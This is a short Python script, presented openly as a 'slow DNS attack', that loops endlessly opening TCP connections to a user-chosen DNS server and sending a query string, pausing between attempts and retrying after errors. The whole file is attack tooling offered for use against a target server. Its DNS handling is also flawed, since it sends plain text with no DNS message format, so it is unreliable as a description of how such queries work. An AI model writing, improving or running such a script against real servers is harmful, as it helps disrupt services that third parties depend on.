import socket
import time

def slow_dns_attack(target_ip, target_port, query, sleep_time, retry_sleep_time):
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target_ip, target_port))
            s.send(query)
            s.close()
            time.sleep(sleep_time)  # Adjust sleep time to slow down the attack
        except Exception as e:
            print(f"Error: {e}")
            time.sleep(retry_sleep_time)  # Wait before attempting again

if __name__ == "__main__":
    # Get user input for the target DNS server's IP address and port
    target_ip = input("Enter the target DNS server's IP address: ")
    target_port = int(input("Enter the target DNS server's port (default is 53): ") or 53)
    query = input("Enter the DNS query to send (e.g., 'example.com'): ").encode()
    sleep_time = int(input("Enter the delay time between sending queries (in seconds): "))
    retry_sleep_time = int(input("Enter the wait time before retrying after an exception (in seconds): "))

    # Start the attack
    slow_dns_attack(target_ip, target_port, query, sleep_time, retry_sleep_time)